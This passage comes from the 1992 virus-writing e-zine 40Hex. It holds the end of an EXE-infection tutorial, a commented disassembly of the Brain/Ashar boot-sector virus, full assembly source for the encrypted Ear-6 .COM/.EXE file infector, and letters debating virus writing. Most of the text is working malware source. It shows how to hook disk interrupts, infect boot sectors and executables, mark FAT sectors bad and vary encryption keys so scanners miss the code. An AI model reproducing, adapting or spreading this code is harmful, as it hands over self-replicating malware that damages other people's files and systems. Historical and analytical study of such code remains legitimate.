buffer endheap: ; End of virus end startvirus ----cut here--------------------------------------------------------------- This is a simple EXE infector. It has limitations; for example, it does not handle misnamed COM files. This can be remedied by a simple check: cmp [bp+buffer],'ZM' jnz misnamed_COM continueEXE: Take special notice of the done_infections and infect_exe procedures. They handle all the relevant portions of the EXE infection. The restoration of the EXE file simply consists of resetting the stack and a far jmp to the original entry point. A final note on EXE infections: it is often helpful to "pad" EXE files to the nearest segment. This accomplishes two things. First, the initial IP is always 0, a fact which can be used to eliminate delta offset calculations. Code space can be saved by replacing all those annoying relative memory addressing statements ([bp+offset blip]) statements with their absolute counterparts (blip). Second, recalculation of header info can be handled in paragraphs, simplifying it tremendously. The code for this is left as an exercise for the reader. This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have yet to figure out how to write EXE infectors). Hopefully, this text can teach them (and everyone else) how to progress beyond simple COM and spawn- ing EXE infectors. In the next issue of 40Hex, I will present the theory and code for the next step of file infector - the coveted SYS file. 40Hex Number 8 Volume 2 Issue 4 File 008 ; This is the ashar variant of the classic Pakistani Brain virus. It is large ; by today's standards, although it was one of the first. It is a floppy only ; boot sector infector. brain segment byte public assume cs:brain, ds:brain ; Disassembly done by Dark Angel of PHALCON/SKISM org 0 cli jmp entervirus idbytes db 34h, 12h firsthead db 0 firstsector dw 2707h curhead db 0 cursector dw 1 db 0, 0, 0, 0 db 'Welcome to the Dungeon ' copyright db '(c) 1986 Brain' db 17h db '& Amjads (pvt) Ltd VIRUS_SHOE ' db ' RECORD v9.0 Dedicated to th' db 'e dynamic memories of millions o' db 'f virus who are no longer with u' db 's today - Thanks GOODNESS!! ' db ' BEWARE OF THE er..VIRUS : \th' db 'is program is catching prog' db 'ram follows after these messeges' db '..... $' db '#@%$' db '@!! ' entervirus: mov ax,cs mov ds,ax ; ds = 0 mov ss,ax ; set stack to after mov sp,0F000h ; virus sti mov al,ds:[7C00h+offset firsthead] mov ds:[7C00h+offset curhead],al mov cx,ds:[7C00h+offset firstsector] mov ds:[7C00h+offset cursector],cx call calcnext mov cx,5 ; read five sectors mov bx,7C00h+200h ; after end of virus loadnext: call readdisk call calcnext add bx,200h loop loadnext mov ax,word ptr ds:[413h] ; Base memory size in Kb sub ax,7 ; - 7 Kb mov word ptr ds:[413h],ax ; Insert as new value mov cl,6 shl ax,cl ; Convert to paragraphs mov es,ax mov si,7C00h ; Copy from virus start mov di,0 ; to start of memory mov cx,1004h ; Copy 1004h bytes cld rep movsb push es mov ax,200h push ax retf ; return to old boot sector readdisk: push cx push bx mov cx,4 ; Try 4 times tryread: push cx mov dh,ds:[7C00h+offset curhead] mov dl,0 ; Read sector from default mov cx,ds:[7C00h+offset cursector] mov ax,201h ; Disk to memory at es:bx int 13h jnc readOK mov ah,0 ; Reset disk int 13h ; (force read track 0) pop cx loop tryread int 18h ; ROM basic on failure readOK: pop cx pop bx pop cx retn calcnext: mov al,byte ptr ds:[7C00h+offset cursector] inc al mov byte ptr ds:[7C00h+offset cursector],al cmp al,0Ah jne donecalc mov byte ptr ds:[7C00h+offset cursector],1 mov al,ds:[7C00h+offset curhead] inc al mov ds:[7C00h+offset curhead],al cmp al,2 jne donecalc mov byte ptr ds:[7C00h+offset curhead],0 inc byte ptr ds:[7C00h+offset cursector+1] donecalc: retn ; the following is a collection of garbage bytes db 00h, 00h, 00h, 00h, 32h,0E3h db 23h, 4Dh, 59h,0F4h,0A1h, 82h db 0BCh,0C3h, 12h, 00h, 7Eh, 12h db 0CDh, 21h,0A2h, 3Ch, 5Fh a_data dw 050Ch ; Second part of the virus begins here jmp short entersecondpart db '(c) 1986 Brain & Amjads (pvt) Ltd ',0 readcounter db 4 ; keep track of # reads curdrive db 0 int13flag db 0 entersecondpart: mov cs:readcounter,1Fh xor ax,ax mov ds,ax ; ds -> interrupt table mov ax,ds:[13h*4] mov ds:[6Dh*4],ax mov ax,ds:[13h*4+2] mov ds:[6Dh*4+2],ax mov ax,offset int13 ; 276h mov ds:[13h*4],ax mov ax,cs mov ds:[13h*4+2],ax mov cx,4 ; 4 tries xor ax,ax mov es,ax ; es -> interrupt table tryreadbootsector: push cx mov dh,cs:firsthead mov dl,0 mov cx,cs:firstsector mov ax,201h ; read from default disk mov bx,7C00h int 6Dh ; int 13h jnc readbootOK mov ah,0 int 6Dh ; int 13h pop cx loop tryreadbootsector int 18h ; ROM basic on failure readbootOK: ; return control to ; original boot sector ;* jmp far ptr 0000:7C00h db 0EAh, 00h, 7Ch, 00h, 00h nop ; MASM NOP!!! int13: sti cmp ah,2 ; if not read request, jne doint13 ; do not go further cmp dl,2 ; if after second floppy, ja doint13 ; do not go further cmp ch,0 ; if not reading boot sector, jne regularread ; go handle as usual cmp dh,0 ; if boot sector, je readboot ; do I<-/>/\|> stuff regularread: dec cs:readcounter ; Infect after 4 reads jnz doint13 ; If counter still OK, don't ; do anything else jmp short readboot ; Otherwise, try to infect doint13: jmp exitint13h readboot: ; FINISH THIS! mov cs:int13flag,0 ; clear flag mov cs:readcounter,4 ; reset counter push ax push bx push cx push dx mov cs:curdrive,dl mov cx,4 tryreadbootblock: push cx mov ah,0 ; Reset disk int 6Dh jc errorreadingbootblock ; Try again mov dh,0 mov cx,1 mov bx,offset readbuffer ; buffer @ 6BEh push es mov ax,cs mov es,ax mov ax,201h int 6Dh ; Read boot sector pop es jnc continuestuff ; continue if no error errorreadingbootblock: pop cx loop tryreadbootblock jmp short resetdisk ; too many failures nop continuestuff: pop cx ; get system id in boot block mov ax,word ptr cs:[offset readbuffer+4] cmp ax,1234h ; already infected? jne dodisk ; if not, infect it mov cs:int13flag,1 ; flag prev. infection jmp short noreset dodisk: push ds push es mov ax,cs mov ds,ax mov es,ax push si call writevirus ; infect the disk jc failme ; exit on failure mov cs:int13flag,2 ; flag success call changeroot ; manipulate volume label failme: pop si pop es pop ds jnc noreset ; don't reset on success resetdisk: mov ah,0 ; reset disk int 6Dh ; int 13h noreset: pop dx pop cx pop bx pop ax cmp cx,1 jne exitint13h cmp dh,0 jne exitint13h cmp cs:int13flag,1 ; already infected? jne wasntinfected ; if wasn't, go elsewhere mov cx,word ptr cs:[offset readbuffer+7] mov dx,word ptr cs:[offset readbuffer+5] mov dl,cs:curdrive ; otherwise, read real jmp short exitint13h ; boot sector wasntinfected: cmp cs:int13flag,2 ; successful infection? jne exitint13h ; if not, just do call mov cx,cs:firstsector mov dh,cs:firsthead exitint13h: int 6Dh ; int 13h retf 2 db 15 dup (0) FATManip: ; returns al as error code jmp short delvedeeper nop FATManipreadcounter dw 3 db ' (c) 1986 Brain & Amjads (pvt) Ltd' delvedeeper: call readFAT ; Get FAT ID byte mov ax,word ptr ds:[offset readbuffer] cmp ax,0FFFDh ; is it 360K disk? je is360Kdisk ; continue if so mov al,3 ; al=3 == not good disk stc ; flag error retn ; and exit is360Kdisk: mov cx,37h mov FATManipreadcounter,0 ; none found yet checknextsector: call FATentry12bit ; get entry in FAT cmp ax,0 ; unused? jne notunused inc FATManipreadcounter ; one more found unused cmp FATManipreadcounter,3 ; If need more, jne tryanother ; go there jmp short markembad ; found 3 consecutive nop ; empty sectors notunused: mov FATManipreadcounter,0 ; must start over tryanother: inc cx ; try next sector cmp cx,163h ; end of disk? jne checknextsector ; if not, continue mov al,1 ; al=1 == none empty stc ; Indicate error retn markembad: mov dl,3 ; 3 times markanotherbad: call markbad12bit dec cx dec dl jnz markanotherbad inc cx call calc1sttrack call writeFAT ; update FAT mov al,0 ; al=0 == ok clc ; indicate success retn markbad12bit: push cx push dx mov si,offset readbuffer ; si -> buffer mov al,cl shr al,1 jc low_12 ; low bits call clus2offset12bit mov ax,[bx+si] ; get FAT entry and ax,0F000h ; mark it bad or ax,0FF7h jmp short putitback ; and put it back nop low_12: call clus2offset12bit mov ax,[bx+si] ; get FAT entry and ax,0Fh ; mark it bad or ax,0FF70h putitback: mov [bx+si],ax ; replace FAT entry mov word ptr ds:[400h][bx+si],ax ; in two places pop dx pop cx retn FATentry12bit: push cx mov si,offset readbuffer ; si->buffer mov al,cl shr al,1 ; Part 3 of the virus starts here jc want_high_12 call clus2offset12bit mov ax,[bx+si] and ax,0FFFh jmp short exitFATentry12bit nop want_high_12: call clus2offset12bit ; xxxxxxxxxxxx0000 mov ax,[bx+si] ; ^^^^^^^^^^^^wanted and ax,0FFF0h ; mask wanted bits mov cl,4 ; and move to correct shr ax,cl ; position exitFATentry12bit: pop cx retn clus2offset12bit: push dx mov ax,3 mul cx shr ax,1 ; ax = cx*1.5 mov bx,ax pop dx retn readFAT: mov ah,2 ; read call FAT_IO retn writeFAT: mov ah,3 ; write call FAT_IO retn FAT_IO: mov cx,4 ; try four times FAT_IOLoop: push cx push ax mov ah,0 ; reset disk int 6Dh ; int 13h pop ax jc tryFAT_IOagain mov bx,offset readbuffer mov al,4 ; 4 sectors mov dh,0 ; head 0 mov dl,curdrive mov cx,2 ; sector 2 push ax ; (FAT) int 6Dh ; int 13h pop ax jnc exitFAT_IO tryFAT_IOagain: pop cx loop FAT_IOLoop pop ax pop ax mov al,2 stc ; mark error retn exitFAT_IO: pop cx retn calc1sttrack: push cx sub cx,2 shl cx,1 ; 2 sectors/cluster add cx,0Ch ; start of data area mov ax,cx ; ax = sector mov cl,12h ; 4096 div cl ; ax/4096 = al rem ah mov byte ptr firstsector+1,al mov firsthead,0 inc ah cmp ah,9 ; past track 9? jbe notpasttrack9 ; nope, we are ok sub ah,9 ; otherwise, adjust mov firsthead,1 notpasttrack9: mov byte ptr firstsector,ah pop cx retn db 0, 0, 0, 0, 0, 0 r_or_w_root db 3 entrycount dw 35h tempsave1 dw 303h tempsave2 dw 0EBEh tempsave3 dw 1 tempsave4 dw 100h db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh db 8Dh, 98h, 9Fh, 8Eh,0E0h db ' (c) ashar $' changeroot: call readroot ; read in root directory jc donotchangeroot push di call changevolume ; change volume label pop di jc donotchangeroot call writeroot ; write back new root dir donotchangeroot: retn ; The following is just garbage bytes db 0BBh, 9Bh, 04h,0B9h, 0Bh db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h db 0C6h, 06h changevolume: mov entrycount,6Ch mov si,offset readbuffer+40h; 3nd dir entry mov tempsave1,dx mov ax,entrycount ; 6Ch shr ax,1 mov tempsave3,ax ; 36h shr ax,1 mov tempsave2,ax ; 1Bh xchg ax,cx and cl,43h ; cx = 3 mov di,tempsave2 add di,1E3h ; di = 01FE findlabel: mov al,[si] cmp al,0 je dolabel ; no mo entries mov al,[si+0Bh] ; attribute byte and al,8 ; volume label? cmp al,8 ; yes? je dolabel ; then change it! add si,20h ; go to next directory entry dec entrycount jnz findlabel ; loop back stc ; Error! retn db 8Bh dolabel: mov bx,[di] ; offset a_data xor bx,tempsave3 ; bx = 53Ah mov tempsave3,si ; si->direntry cli mov ax,ss mov tempsave1,ax mov tempsave2,sp mov ax,cs mov ss,ax mov sp,tempsave3 add sp,0Ch ;->reserved area mov cl,51h add dx,444Ch mov di,2555h mov cx,0C03h repe cmpsw mov ax,0B46h mov cx,3 rol ax,cl ; ax = 5A30h mov tempsave3,ax mov cx,5 mov dx,8 sub tempsave3,5210h ; 820h push tempsave3 ; store attributes/reserved ; I haven't commented the remainder of this procedure. ; It basically changes the volume label to read "(c) Brain" ; Comment mode OFF dowhatever: mov ah,[bx] ; 5a3h inc bx mov dl,ah shl dl,1 jc dowhatever searchstuff: mov dl,[bx] ; dl=C2h inc bx ; bx=53Eh mov al,dl shl dl,1 jc searchstuff add ax,1D1Dh push ax inc tempsave3 db 73h, 01h ; jnc $+3 db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 xchg bp,ax add al,0A1h xchg bx,ax add al,8Eh sar bl,1 add dh,[bp+si] clc ret ;db 95h, 04h,0A1h, 93h, 04h, 8Eh ;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h ; Comment mode ON readroot: mov r_or_w_root,2 ; set action code jmp short do_rw_root ; easier to do w/ nop ; mov ah, 2 writeroot: mov r_or_w_root,3 jmp short do_rw_root ; this is somewhat useless nop do_rw_root: mov dh,0 ; head 0 mov dl,curdrive mov cx,6 ; sector 6 mov ah,r_or_w_root mov al,4 ; 4 sectors mov bx,offset readbuffer call doint13h jc exit_rw_root ; quit on error mov cx,1 mov dh,1 ; head 1 mov ah,r_or_w_root mov al,3 add bx,800h call doint13h exit_rw_root: retn doint13h: mov tempsave1,ax mov tempsave2,bx mov tempsave3,cx mov tempsave4,dx mov cx,4 doint13hloop: push cx mov ah,0 ; Reset disk int 6Dh jc errordoingint13h mov ax,tempsave1 mov bx,tempsave2 mov cx,tempsave3 mov dx,tempsave4 int 6Dh ; int 13h jnc int13hsuccess errordoingint13h: pop cx loop doint13hloop stc ; indicate error retn int13hsuccess: pop cx retn db 0, 0, 0 ; Part 4 of the virus starts here tempstorecx dw 3 readwritecurrentdata dw 301h writevirus: call FATManip jc exitwritevirus mov cursector,1 mov curhead,0 mov bx,offset readbuffer call readcurrent mov bx,offset readbuffer mov ax,firstsector mov cursector,ax mov ah,firsthead mov curhead,ah call writecurrent call calcnextsector mov cx,5 mov bx,200h writeanothersector: mov tempstorecx,cx call writecurrent call calcnextsector add bx,200h mov cx,tempstorecx loop writeanothersector mov curhead,0 mov cursector,1 mov bx,0 call writecurrent clc ; indicate success exitwritevirus: retn readcurrent: mov readwritecurrentdata,201h jmp short doreadwrite nop writecurrent: mov readwritecurrentdata,301h jmp short doreadwrite ; This is pointless. nop doreadwrite: push bx mov cx,4 tryreadwriteagain: push cx mov dh,curhead mov dl,curdrive mov cx,cursector mov ax,readwritecurrentdata ; read or write? int 6Dh ; int 13h jnc readwritesuccessful mov ah,0 ; reset disk int 6Dh ; int 13h pop cx loop tryreadwriteagain pop bx pop bx stc ; Indicate error retn readwritesuccessful: pop cx pop bx retn calcnextsector: inc byte ptr cursector ; next sector cmp byte ptr cursector,0Ah jne donecalculate ; finished calculations mov byte ptr cursector,1 ; clear sector # inc curhead ; and go to next head cmp curhead,2 ; if not too large, jne donecalculate ; we are done mov curhead,0 ; otherwise clear head # inc byte ptr cursector+1 ; and advance cylinder donecalculate: retn db 64h, 74h, 61h ; read buffer starts here ; insert your favorite boot block below... readbuffer: brain ends end 40Hex Number 8 Volume 2 Issue 4 File 009 -=PHALCON/SKISM=- Ear-6 Virus The Ear-6 is a parasitic, non-resident, .COM & .EXE infector. It infects 5 files everytime it is run. It will traverse towards the root directory if fewer than 5 files are found. We have no clue as to what the 'AUX error' that Patti talks about. But then again, Patti isn't sure as to who she is, let alone an accurate discription on one of our virii. On activation (1st of any month), it plays ear quiz with victim. Failure to answer the question will result in program termination. -) Gheap ----------------------------------------------------------------------------- ; [Ear-6] ; El virus de oreja y o¡do seis ; Fue escrito por Dark Angel de PHALCON/SKISM ; Yo (el  ngel oscuro) escrib¡ este programa hace muchas semanas. ; No deba modificar este programa y da a otras personas COMO SI ; estar  el suyo. ; ¨D¢nde est  mi llama, mama? ; diccionarito ; espa¤ol ingl‚s magnitud size ; abre open mango handle ; aprueba pass (a test) m scara mask ; atras back mensaje message ; azado random mes month ; busca find mont¢n heap ; cierra close oreja, o¡do ear ; cifra code, encrypt, decrypt pila stack ; codo pointer pregunta question ; corto terse, short primer first ; empieza begin remendar patch ; escriba write renuncia reject ; espa¤ol ingl‚s respuesta answer ; fecha date salta exit ; ficha file siguiente following, next ; ¡ndice table suspende fail (a test) ; ¨le gusta? do you like? termina end ; longitud length virus virus (!) .model tiny .code org 100h longitud_del_virus = TerminaVir - EmpezarVir longitud_del_escribir = offset termina_escribir - offset escribir id = 'GH' ; Representa el l¡der de ; PHALCON/SKISM, Garbageheap Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir EmpezarVir: shwing: remendar1: mov bx, offset EmpezarCifra remendar2: mov cx, ((longitud_del_virus + 1) / 2) hacia_atras: ; atr s db 2eh remendar3: db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0 add bx, 2 loop hacia_atras EmpezarCifra: call siguiente ; Es estupido, pero es corto siguiente: pop bp sub bp, offset siguiente mov byte ptr [bp+numinf], 0 cld ; No es necessario, pero ; ¨por qu‚ no? cmp sp, id jz SoyEXE SoyCOM: mov di, 100h push di lea si, [bp+Primer3] movsb jmp short SoyNada SoyEXE: push ds push es push cs push cs pop ds pop es lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha lea si, [bp+EXE_Donde_JMP2] ; infectada movsw movsw movsw jmp short SoyNada NombreDelVirus db 0,'[Ear-6]',0 ; En ingl‚s, ­por supuesto! NombreDelAutor db 'Dark Angel',0 SoyNada: movsw mov ah, 1ah ; Esindicece un DTA nuevo lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir int 21h ; el DTA original mov ax, word ptr [bp+remendar1+1] mov word ptr [bp+tempo], ax mov ah, 47h ; Obtiene el directorio xor dl, dl ; presente lea si, [bp+diroriginal] int 21h looper: lea dx, [bp+offset mascara1] ; "m scara", no "mascara" call infectar_mascara ; pero no es possible usar ; acentos en MASM/TASM. ; ­Qu‚ l stima! ; mascara1 es '*.EXE',0 lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0 call infectar_mascara ; infecta las fichas de COM cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas? jg saltar ; Si es verdad, no necesita ; busca m s fichas. mov ah, 3bh ; Cambia el directorio al lea dx, [bp+puntos] ; directorio anterior int 21h ; ('..', 'punto punto') jnc looper saltar: lea dx, [bp+backslash] ; Cambia el directorio al mov ah, 3bh ; directorio terminado. int 21h mov ah, 2ah ; Activa el primer de int 21h ; cada mes cmp dl, 1 ; Si no es el primer, jnz saltarahora ; ­saltar ahora! (duh-o) mov ah, 2ch ; ¨Qu‚ hora es? int 21h cmp dl, 85 ; 85% probabilidad de jg saltarahora ; activaci¢n and dx, 7 ; Un n£mero quasi-azado shl dl, 1 ; Usalo para determinar mov bx, bp ; que preguntar  la virus add bx, dx mov dx, word ptr [bx+indice] ; ¡ndice para el examencito add dx, bp inc dx push dx ; Salva el codo al pregunta mov ah, 9 ; Escriba el primer parte de lea dx, [bp+mensaje] ; la pregunta int 21h pop dx ; Escriba el parte de la oreja int 21h ; o el o¡do dec dx push dx ; Salva la respuesta correcta lea dx, [bp+secciones] ; Escriba los secciones de la int 21h ; oreja y el o¡do trataotrarespuesta: mov ah, 7 ; Obtiene la respuesta de la int 21h ; "v¡ctima" cmp al, '1' ; Necesita una respuesta de jl trataotrarespuesta ; uno hasta tres cmp al, '3' ; Renuncia otras respuestas jg trataotrarespuesta int 29h ; Escriba la respuesta pop bx ; El codo al respuesta ; correcta mov ah, 9 ; Prepara a escribir un ; mensaje cmp al, byte ptr [bx] ; ¨Es correcta? jz saltarapidamente ; l aprueba el examencito. ; Pues, salta r pidamente. lea dx, [bp+suspendido] ; Lo siento, pero ­Ud. no int 21h ; aprueba el examencito f cil! mov ah, 4ch ; Estudie m s y el programa jmp quite ; permitir  a Ud a continuar. saltarapidamente: lea dx, [bp+aprueba] int 21h saltarahora: mov ah, 1ah ; Restaura el DTA original mov dx, 80h quite: cmp sp, id - 4 ; ¨Es EXE o COM? jz vuelvaEXE vuelvaCOM: int 21h ; Restaura el DTA y vuelva retn ; a la ficha original de COM vuelvaEXE: pop es pop ds ; ds -> PSP int 21h mov ax, es add ax, 10h ; Ajusta para el PSP add word ptr cs:[bp+EXE_Donde_JMP+2], ax cli add ax, word ptr cs:[bp+PilaOriginal+2] mov ss, ax mov sp, word ptr cs:[bp+PilaOriginal] sti db 0eah ; JMP FAR PTR SEG:OFF EXE_Donde_JMP dd 0 PilaOriginal dd 0 EXE_Donde_JMP2 dd 0 PilaOriginal2 dd 0 infectar_mascara: mov ah, 4eh ; Busca la ficha primera mov cx, 7 ; Cada atributo brb_brb: int 21h jc hasta_la_vista_bebe ; No la busca xor al, al call abrir ; Abre la ficha mov ah, 3fh mov cx, 1ah lea dx, [bp+buffer] int 21h mov ah, 3eh ; Cierra la ficha int 21h lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha lea di,[bp+f_atrib] ; Por ejemplo, la fecha de mov cx, 9 ; creaci¢n rep movsb cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM? jz buscaEXE buscaCOM: mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha? sub ax, longitud_del_virus + 3 ; Adjusta para el JMP cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada? jnz infecta_mi_burro ; "infect my ass" jmp short BuscaMas buscaEXE: cmp word ptr [bp+buffer+10h], id jnz infecta_mi_burro BuscaMas: mov ah, 4fh ; Busca otra ficha... jmp short brb_brb hasta_la_vista_bebe: ; ¨Le gusta Arnold? ret infecta_mi_burro: ; AX = longitud de la ficha infectada lea si, [bp+buffer] cmp word ptr [si], 'ZM' jz InfectaEXE InfectaCOM: push ax mov cx, word ptr [bp+tempo] mov word ptr [bp+remendar1+1], cx lea di, [bp+Primer3] movsb push si movsw mov byte ptr [bp+buffer], 0e9h pop di add ax, longitud_del_virus stosw mov cx, 3 jmp short TerminaInfeccion InfectaEXE: les ax, [si+14h] ; Salva el original empieza mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada mov word ptr [bp+EXE_Donde_JMP2+2], es les ax, [si+0Eh] ; Salva la original locaci¢n mov word ptr [bp+PilaOriginal2], es ; de la pila mov word ptr [bp+PilaOriginal2+2], ax mov ax, word ptr [si + 8] mov cl, 4 shl ax, cl xchg ax, bx les ax, [bp+offset nuevoDTA+26] mov dx, es push ax push dx sub ax, bx sbb dx, 0 mov cx, 10h div cx mov word ptr [si+14h], dx ; Nuevo empieza CS:IP mov word ptr [si+16h], ax mov cl, 4 shr dx, cl add ax, dx mov word ptr [si+0Eh], ax ; y SS:SP mov word ptr [si+10h], id pop dx ; Restaura el magnitud de pop ax ; la ficha add ax, longitud_del_virus ; A¤ada el magnitud del virus adc dx, 0 mov cl, 9 push ax shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 1 mov word ptr [si+4], dx ; Nuevo magnitud de la ficha mov word ptr [si+2], ax push cs pop es mov ax, word ptr [si+14h] sub ax, longitud_del_virus + offset Empezarvir push ax mov cx, 1ah TerminaInfeccion: mov al, 2 call abrir mov ah, 40h lea dx, [bp+buffer] int 21h mov ax, 4202h xor cx, cx cwd ; xor dx,dx int 21h mov ah, 2ch ; N£meros azados en CX y DX int 21h mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la ; cifra and cx, 31 ; Pone un n£mero azado para el add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por ; eso, los scanners necesitan mov word ptr [bp+remendar2+1], cx ; usar "wildcards" lea di, [bp+tempstore] mov al, 53h ; push bx stosb ; (no destruir el mango de la ; ficha) lea si, [bp+shwing] ; Copia las instrucciones push si ; para formar la cifra mov cx, longitud_de_la_cifra push cx rep movsb mov al, 5bh ; pop bx stosb ; (recuerda mango de la ficha) lea si, [bp+escribir] ; Copia las instrucciones mov cx, longitud_del_escribir ; para a¤ada el virus a la rep movsb ; ficha mov al, 53h ; push bx stosb pop cx ; Copia las instrucciones pop si ; para invalidar la cifra rep movsb mov ax, 0c35bh ; pop bx, retn stosw pop ax ; Codo del comienzo de la cifra add ax, offset EmpezarCifra + longitud_del_virus mov word ptr [bp+remendar1+1], ax call antes_del_tempstore mov ax, 5701h ; BX = mango de la ficha mov dx, word ptr [bp+f_fecha] mov cx, word ptr [bp+f_hora] int 21h ; Restaura fecha y hora mov ah, 3eh int 21h xor ch, ch mov cl, byte ptr [bp+f_atrib] mov ax, 4301h lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA int 21h inc byte ptr [bp+numinf] jmp BuscaMas Primer3 db 0CDh, 20h, 0 puntos db '..',0 mascara1 db '*.EXE',0 mascara2 db '*.COM',0 abrir: mov ah, 3dh ; Abrir un ficha lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en int 21h ; el DTA xchg ax, bx ret indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4 dw offset oreja5, offset oreja6, offset oreja4, offset oreja1 oreja1 db '1','Auditory Canal$' oreja2 db '1','Lobe$' oreja3 db '2','Anvil$' oreja4 db '2','Eustachian Tube$' oreja5 db '3','Auditory Nerve$' oreja6 db '3','Cochlea$' mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $' secciones db ' located?',13,10 db ' 1. External Ear',13,10 db ' 2. Middle Ear',13,10 db ' 3. Inner Ear',13,10,'( )',8,8,'$' ; No es bueno. suspendido db 13,10,'You obviously know nothing about ears.' db 13,10,'Try again after some study.',13,10,'$' ; ­Espero que s¡! aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10 db '$' escribir: mov ah, 40h mov cx, TerminaVir - EmpezarVir lea dx, [bp+EmpezarVir] int 21h termina_escribir: backslash db '\' TerminaVir = $ ; Los que sigue son en el mont¢n... longitud_de_la_cifra = offset EmpezarCifra - offset shwing diroriginal db 64 dup (?) tempo dw ? nuevoDTA db 43 dup (?) numinf db ? antes_del_tempstore: ; tempstore es el buffer para el parte del programa que a¤ada el virus al fin ; de otro programa tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?) ; a¤ada cinco para los pop, ; los push, y el retn buffer db 1ah dup (?) f_atrib db ? ; atributo de la ficha f_hora dw ? ; hora de creaci¢n f_fecha dw ? ; fecha de creaci¢n f_long dd ? ; magnitud de la ficha end Empezar 40Hex Number 8 Volume 2 Issue 4 File 010 Letters to the editor! Well, as you can imagine when I got this message I was quite startled. Sorry Paul, no top billing this time :-). Although it is at this point, that I would like to say a couple things. For instance, the virus community seems to think that their actions go unnoticed. As you might imagine, this is not quite true. C'mon, security people get their hands on 40Hex shortly after our boards get it. Just letting you know that big brother is watching :). ----------------------------------------------------------------------------- 40-Hex Response: As a Security Analyst I find 40-Hex an incredibly interesting magazine. The magazine presents entirely different viewpoints then what is in the industry magazines such as Virus Bulletin, Virus News International and Virus News and Reviews. Although all three of these publications are good and very useful to me in my job, 40-Hex does indeed keep my mind open. It discusses viruses in depth, including commented source code, and has been a real learning tool for me. There is just not anywhere that you can get the detailed analysis of a virus except in a magazine like 40-Hex. I can't help but be torn between my thirst for knowledge about virii and how they work, and the fear that the more knowledge about virus writing becomes available to the public, the greater chance that there is going to be more and more garbage out there and more and more irresponsible people releasing this garbage on their "friends and neighbors". I do want to thank 40-Hex for what I consider a very favorable review. I had to laugh about the comments, because frankly I agreed with them. I guess that I do get a little melodramatic sometimes. But I do honestly believe that the knowledge exists out there to create a program/virus that will be able to escape detection by any method in use today. Whether it will ever be written and whether it will have destructive capabilities I don't really know. I don't know of any virus writers that make profits off their work. While all the anti-virus developers, although they complain about the work that they have to do to keep up with the virus writers, certainly make a nice profit on something like a Michelangelo scare. So the only motivation for the virus writer is the challenge of creating a nearly undetectable virus. I am very curious myself to see if the NCSA's prediction of 40,000 virii by 1994 comes true. I certainly agree with 40-Hex that most of these virii will be hacks of some of the existing code out there now. The anti-virus industry itself can't decide on how to count different strains of viruses, so anyone will be able to make whatever claim they want anyway. Finally, Dr. Solomon said it best informally at the First International Virus Prevention Conference. He was talking about how America was founded on freedom and the rights of the individual. He said that Americans seem far too willing, in his opinion, to voluntarily give up those rights. Right now, virus writing is not illegal. And hopefully it never will be, because what you or I do with our own personal computers is no one else's business but our own. But when we interfer with someone else's computer or data or life, that I believe that is where the line is drawn. Its going to be a very long and hard process to determine responsibility for damages caused by a virus. Passing a law to make virus writing itself illegal will not solve the problem. Something, though, has to be done to protect an individual's or a corporation's rights to have a virus-free working environment. There are enough problems with buggy commercial software, without having to worry about virii hitting your computers too. But until that time comes part of my job will continue to be warning people about the dangers of viruses and helping them protect their data. Paul Melka Response to a Response to a Response: As the head of the -=PHALCON/SKISM=-, I find your letter a very interesting response. I thank you for your raving reviews on 40Hex. We try to make it a magazine that everyone can learn from. Well, I still debate the undetectable virus issue. Regarding the virus writer/anti-virus issue, I definately agree, that the anti-virus people are motivated by greed more then anything else. I am glad to see that you agreed with my oh so witty comments, they weren't meant to be abusive, just a little comic relief. I agree with you on the issues regarding a virus-free working environment. But, as you already know, writing a virus isn't illegal, it is the spreading that is illegal. Unfortunately, it is too late to start working on anti-virus writing legislation now. The damage has been done. The virus issue is fairly similiar to the AIDS issue. You have to use protection, no matter what. There will never be an end to virii. Even if everyone stopped writing virii, the infection rate wouldn't decrease. I don't know of many people that get hit by the newer strains that have been coming out. Most people still get hit by Jerusalem, Stoned, and other 'classics'. I would be very interested in what solutions you may have come up with to protect the rights of individuals and corporations. I hadn't heard about Dr. Solomon's comments, until I recieved your letter. Quite frankly, I agree with what he is saying. Another major problem with making virus writing illegal is the definition of a virus, or trojan for that matter. It is very difficult to come up with a concrete definition. I appreciate your response, and definately encourage other people, either pro- or anti- virus to respond! -)GHeap